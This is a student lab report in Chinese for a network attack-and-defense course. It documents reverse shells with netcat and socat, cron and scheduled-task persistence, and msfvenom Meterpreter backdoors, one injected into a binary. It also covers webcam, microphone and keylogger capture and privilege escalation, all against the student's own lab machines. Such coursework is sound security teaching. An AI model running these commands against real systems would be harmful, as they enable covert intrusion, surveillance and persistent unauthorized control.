20222428 2024-2025-1 《网络与系统攻防技术》实验二实验报告
1.实验内容
1.1本周学习内容
1.1.1实现栈溢出攻击的三种方法
- 修改栈中邻接变量
- 修改函数返回地址
- 代码植入
问题:植入代码时破坏了栈的平衡,退出时会提示错误。
解决方法:调用函数(ExitProcess)来安全退出。
问题:通过覆盖函数返回地址的exploit没有通用性。
解决方法:ESP指向返回地址后一个位置,shellcode放到此位置,通过JMP ESP跳转。
1.1.2缓冲区溢出防范技术
源程序检查、不可执行的缓冲区、数组边界检查、运行时拦截检查、不安全函数检查、完整性检查。
1.1.3后门概念
后门:后门最早是程序员为了方便日后修改和测试程序中的缺陷而故意设置的隐蔽通道。这种通道可以绕过软件的安全性控制,从隐秘的通道取得对程序或系统的访问权。现攻击者恶意设置后门,用于非法访问或控制系统。
1.1.4后门案例
苹果应用程序编译器XCODE被植入恶意代码、CCleaner、华硕软件、阿里云Log4j 2核弹级漏洞。
1.1.5后门技术
管控功能实现技术、自启动技术、进程隐藏技术、数据穿透与躲避技术
1.2实验目标
(1)使用netcat获取主机操作Shell,cron启动某项任务。
(2)使用socat获取主机操作Shell, 任务计划启动。
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell。
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权。
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
1.3实验要求
- 掌握后门原理及免杀
- 回答问题
1.4回答问题
1.例举你能想到的一个后门进入到你系统中的可能方式?
(1)下载并安装了来自不可信来源的应用程序;
(2)打开了包含恶意代码的电子邮件附件或链接;
(3)插入不明来源的U盘;
(4)访问被恶意篡改的网站。
2.例举你知道的后门如何启动起来(win及linux)的方式?
(1)在Windows系统中:利用开机自启动项启动、Windows任务计划程序定时启动、伪装成合法软件诱导用户点击启动、嵌入到合法的软件启动;
(2)在Linux系统中:利用自启动脚本启动后门、利用cron或at等定时任务工具启动后门、注册为系统服务启动后门、利用SSH隧道启动后门、利用反弹Shell启动后门。
3.Meterpreter有哪些给你印象深刻的功能?
远程控制功能、跨平台支持、获取目标主机的shell、获取摄像头和麦克风权限、进行截屏并获得键盘记录。
4.如何发现自己有系统有没有被安装后门?
查看主机网络连接是否有可疑的外部链接、使用反病毒与反恶意软件工具进行全方位扫描、查看当前是否有可疑进程及服务、检查系统安全日志、观察系统运行速度和内存有没有明显变化。
2.实验过程
2.1使用netcat获取主机操作Shell,cron启动某项任务
2.1.1准备工作
关闭主机和虚拟机的防火墙:
查看主机ip:
下载netcat:
将netcat的路径添加到环境变量(定位软件方便操作):
2.1.2使用netcat连接并获取shell
虚拟机操作使用root权限;主机打开命令行。
输入以下命令:
Win主机输入指令:ncat.exe -l -p 8888(l表示监听;p表示端口)
Linux虚机输入指令:nc 192.168.1.106 8888 -e /bin/sh(nc后面的参数是要连接的ip和端口,-e指定了连接后运行的程序(本例为shell))
主机已成功获取虚拟机的shell。
2.1.3通过设置cron使得kali启动定时任务
先在Linux上编写一条定时任务(利用cron指令),让反弹连接定时启动
- 指令 crontab -e 编辑定时任务,选择“2”(输入2表示选择vim编译器),利用vim编辑器进行编辑。
- 点击“i”进入编辑模式,在最后一行添加 30 * * * * /bin/netcat 192.168.1.106 8888 -e /bin/sh,每30分钟启动任务。
- 按Esc键退出编辑模式,输入 :wq 保存并退出。
输入crontab -l查看时程表:
在Linux主机的/var/spool/cron/crontabs目录下会出现一个root文件。
在Windows主机的cmd输入:echo "* * * * * echo "20222428" > /home/luosangquzhen20222428/2428.txt" > /var/spool/cron/crontabs/root
(用“20222428”覆盖文件2428.txt)
检查2428.txt文件,发现修改成功。
2.2使用socat获取主机操作Shell,任务计划启动
windows主机:下载socat,输入命令:socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr(命令创建了一个 TCP 服务器,监听本地的 8888 端口,并将所有连接到这个端口的客户端请求重定向到 cmd.exe)
Linux虚拟机:输入命令socat - tcp:192.168.1.104:8888
准备一个程序以供运行,代码及文件路径如下:
在Linux上启用Windows的程序,通过命令行创建任务计划。
输入命令:
schtasks /create /sc minute /mo 3 /tn "20222428lsqz" /tr D:\test2\2428c.exe(每三分钟执行一次这个程序)
在windows主机中打开计算机管理
看到正在运行的任务名“20222428lsqz”
执行了我所写的程序,实验成功。
2.3在Linux下使用MSF meterpreter生成可执行文件,利用ncat或socat传送到Windows主机并运行获取主机shell
2.3.1准备工作
关闭windows的实时保护、关闭防火墙:
2.3.2生成后门文件
首先在kali中输入ifconfig,获得虚拟机的IP地址:
虚拟机的IP地址是172.16.220.61
输入命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=122.16.220.61 LPORT=8888 -f exe > 2228backdoor.exe(使用msfvenom工具生成一个反向 TCP Meterpreter shell 的payload,并将其保存到一个可执行文件中)
代码分析:
LHOST=192.168.220.61是shell 连接的主机 IP 地址;
LPORT=8888是监听的端口号;
-f exe指定了生成的 payload 的格式;
2428backdoor.exe则为生成的恶意可执行文件。
2.3.3将后门文件传输至目标主机
Windows主机输入指令:ncat.exe -lv 8888 > D:\share\2428backdoor.exe"
虚拟机上输入指令:nc 172.16.220.61 8888 < 2428backdoor.exe(将生成的后门文件2428backdoor.exe传给windows主机。
成功传输至windows指定目录。
2.3.4配置监听模块
Kali终端输入命令msfconsole
对监听模块进行配置:
use exploit/multi/handler(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.220.61
set LPORT 8888
输入exploit,运行监听模块:
Windows终端运行后门文件:
虚拟机输入ls查看windows主机目录:
连接成功。
2.4使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
2.4.1获取目标主机音频、截屏、摄像头、键盘记录
exploit模块中输入以下命令:
record_mic(音频)
screenshot(截屏)
webcam_snap(拍照)
keyscan_start(开始读取键盘记录)
keyscan_dump(读取键盘记录结束)
音频、截屏、拍照被保存在生成后门文件的目录下:
2.4.2提权
在exploit模块中输入:
getuid (查看当前用户)
getsystem (提权指令)
提权成功。
5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
kali命令行输入:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.103 LPORT=8888 -x /home/luosangquzhen20222428/pwn20222428_1 -f elf > 2428_pwn
使用了msfvenom 工具生成一个 Meterpreter 反向 TCP shell的 payload,并将其注入到指定的可执行文件pwn20222428_1中,结果输出到名为 2428_pwn的文件中。
对生成的2428_pwn文件赋予权限:
输入msfconsole,重现监听过程:
另开一个shell,运行2428_pwn文件:
回到上一个shell,输入ls:
成功实现远程控制shell
3.问题及解决方案
- 问题1:Windows不识别crontab命令
- 问题1解决方案:Windows系统由于不支持cron守护进程和crontab命令的兼容性问题,因此不能直接使用crontab -e远程编辑,所以通过linux编写定时任务。
- 问题2:socat下载后没有目录下没有.exe文件
- 问题2解决方案:查看socat下的文件发现是Linux版本,通过上网搜寻windows版成功安装。
- 问题3:病毒与威胁防护找不到实时保护的选项
- 问题3解决方案:因为电脑的病毒和威胁防护被其他杀毒软件接管了需退出对应的杀毒软件。在Windows右下角系统托盘中找到对应的杀毒软件图标,点击退出即可。
- 问题4:后门文件在windows命令行运行报错“此应用无法在你电脑运行的报错”
- 问题4解决方案:通过不停的查找资料,试验多个方法,最后通过以兼容性运行这个文件才得以解决,但继续报错拒绝访问,发现cmd需要用管理员身份运行才能成功。
- 问题5:获取音频时报错
- 问题5解决方案1:开启桌面应用访问麦克风权限。
- 问题6:重现监听过程运行2428_pwn时会自动运行前一个后门文件并获取Windows的shell
- 问题6解决方案:通过sudo netstat -tulnp | grep :8888查看8888端口的进程,查看正在运行进程的PID,kill PID。
4.学习感悟、思考等
实验二虽面临诸多挑战,耗时较长,但在资料检索中提升了我独立解决问题的能力。本次实验深化了我对后门文件创建及获取shell流程的理解,认识到网络安全的重要性。我学习了Meterpreter的远程控制、跨平台操作、获取目标主机shell及音视频权限等功能,领略了其强大。通过实践,我对netcat、socat、cron、MSF meterpreter等工具有了初步了解。实验也让我意识到,在无防火墙防护下,隐私窃取与权限盗取轻而易举,进一步增强了我的网络安全意识。